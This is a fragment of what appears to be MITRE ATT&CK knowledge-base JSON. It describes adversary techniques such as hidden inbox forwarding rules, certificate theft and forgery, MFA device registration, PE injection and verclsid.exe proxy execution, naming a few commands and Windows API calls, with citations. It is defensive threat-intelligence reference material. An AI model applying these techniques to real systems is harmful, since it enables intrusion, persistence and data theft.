                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
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                    "source_name": "Microsoft Mail Flow Rules 2023",
                    "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
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            "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ",
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                    "external_id": "T1074"
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                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
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            "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",
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                    "url": "https://github.com/GhostPack/SharpDPAPI#certificates"
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                    "source_name": "Microsoft AD CS Overview",
                    "description": "Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022.",
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                    "source_name": "Medium Certified Pre Owned",
                    "description": "Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022.",
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                    "description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.",
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                {
                    "source_name": "O365 Blog Azure AD Device IDs",
                    "description": "Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.",
                    "url": "https://o365blog.com/post/deviceidentity/"
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                {
                    "source_name": "GitHub CertStealer",
                    "description": "TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022.",
                    "url": "https://github.com/TheWover/CertStealer"
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                    "source_name": "APT29 Deep Look at Credential Roaming",
                    "description": "Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.",
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            "name": "Steal or Forge Authentication Certificates",
            "description": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)",
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            "created": "2022-03-04T18:30:38.989Z",
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                {
                    "source_name": "Expel Atlas Lion 2025",
                    "description": "Ben Nahorney and Jennifer Maynard. (2025, April 10). Observing Atlas Lion (part one): Why take control when you can enroll?. Retrieved May 22, 2025.",
                    "url": "https://expel.com/blog/observing-atlas-lion-part-one/"
                },
                {
                    "source_name": "CISA MFA PrintNightmare",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
                },
                {
                    "source_name": "Mandiant APT29 Microsoft 365 2022",
                    "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
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                {
                    "source_name": "AADInternals - Conditional Access Bypass",
                    "description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.",
                    "url": "https://o365blog.com/post/mdm"
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                    "source_name": "AADInternals - BPRT",
                    "description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.",
                    "url": "https://o365blog.com/post/bprt/"
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                {
                    "source_name": "AADInternals - Device Registration",
                    "description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.",
                    "url": "https://o365blog.com/post/devices/"
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                {
                    "source_name": "DarkReading FireEye SolarWinds",
                    "description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.",
                    "url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack"
                },
                {
                    "source_name": "Microsoft - Device Registration",
                    "description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers\u2019 toolbox for victims without MFA. Retrieved March 4, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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            "modified": "2025-05-22T21:02:06.575Z",
            "name": "Device Registration",
            "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)\n\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)",
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                    "url": "https://attack.mitre.org/techniques/T1049",
                    "external_id": "T1049"
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                {
                    "source_name": "Amazon AWS VPC Guide",
                    "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.",
                    "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html"
                },
                {
                    "source_name": "Microsoft Azure Virtual Network Overview",
                    "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview"
                },
                {
                    "source_name": "Google VPC Overview",
                    "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.",
                    "url": "https://cloud.google.com/vpc/docs/vpc"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
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            "name": "System Network Connections Discovery",
            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.(Citation: Sygnia ESXi Ransomware 2025)",
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        {
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            "created": "2020-10-01T00:36:30.759Z",
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                    "url": "https://attack.mitre.org/techniques/T1584",
                    "external_id": "T1584"
                },
                {
                    "source_name": "amnesty_nso_pegasus",
                    "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.",
                    "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
                },
                {
                    "source_name": "Sysdig Proxyjacking",
                    "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
                    "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
                },
                {
                    "source_name": "FireEye DNS Hijack 2019",
                    "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"
                },
                {
                    "source_name": "ICANNDomainNameHijacking",
                    "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.",
                    "url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Talos DNSpionage Nov 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.",
                    "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
                },
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                },
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
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            "modified": "2025-10-24T17:49:01.181Z",
            "name": "Compromise Infrastructure",
            "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Adversaries may also compromise numerous machines to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services or to form a botnet.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) via [Wi-Fi Networks](https://attack.mitre.org/techniques/T1669).(Citation: Nearest Neighbor Volexity)\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",
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            "created": "2021-02-22T14:20:31.650Z",
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                    "external_id": "T1553.005"
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                {
                    "source_name": "Beek Use of VHD Dec 2020",
                    "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"
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                    "source_name": "Outflank MotW 2020",
                    "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.",
                    "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"
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                    "source_name": "Intezer Russian APT Dec 2020",
                    "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.",
                    "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
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                    "source_name": "Microsoft Zone.Identifier 2020",
                    "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"
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            "created": "2020-10-19T19:11:18.757Z",
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                    "url": "https://attack.mitre.org/techniques/T1600/002",
                    "external_id": "T1600.002"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
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            "description": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)",
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            "created": "2019-11-13T14:44:49.439Z",
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                    "url": "https://attack.mitre.org/techniques/T1542",
                    "external_id": "T1542"
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                {
                    "source_name": "Wikipedia Booting",
                    "description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1064",
                    "external_id": "T1064"
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                {
                    "source_name": "Metasploit_Ref",
                    "description": "Metasploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "http://www.metasploit.com"
                },
                {
                    "source_name": "Veil_Ref",
                    "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://www.veil-framework.com/framework/"
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                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Alperovitch 2014",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                },
                {
                    "source_name": "Uperesia Malicious Office Documents",
                    "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.",
                    "url": "https://www.uperesia.com/analyzing-malicious-office-documents"
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            "name": "Scripting",
            "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",
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            "created": "2021-03-30T17:54:03.944Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1612",
                    "external_id": "T1612"
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                {
                    "source_name": "Aqua Build Images on Hosts",
                    "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
                    "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
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                {
                    "source_name": "Docker Build Image",
                    "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild"
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                {
                    "source_name": "Aqua Security Cloud Native Threat Report June 2021",
                    "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
                    "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
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            "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",
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                    "url": "https://attack.mitre.org/techniques/T1051",
                    "external_id": "T1051"
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                {
                    "source_name": "Apache Server 2018",
                    "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.",
                    "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content"
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                {
                    "source_name": "Webroot PHP 2011",
                    "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.",
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                {
                    "source_name": "Microsoft Web Root OCT 2016",
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            "name": "Shared Webroot",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)",
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                    "url": "https://attack.mitre.org/techniques/T1055/002",
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                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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            "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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            "id": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327",
            "created": "2020-08-10T13:59:38.443Z",
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                    "url": "https://attack.mitre.org/techniques/T1218/012",
                    "external_id": "T1218.012"
                },
                {
                    "source_name": "BOHOPS Abusing the COM Registry",
                    "description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.",
                    "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
                },
                {
                    "source_name": "Red Canary Verclsid.exe",
                    "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.",
                    "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/"
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                {
                    "source_name": "LOLBAS Verclsid",
                    "description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/"
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                {
                    "source_name": "Nick Tyrer GitHub",
                    "description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.",
                    "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5"
                },
                {
                    "source_name": "WinOSBite verclsid.exe",
                    "description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\u00a0. Retrieved November 17, 2024.",
                    "url": "https://winosbite.com/verclsid-exe/"
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            "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ",
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            "created": "2020-10-01T01:17:15.965Z",
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                    "external_id": "T1586"
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                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
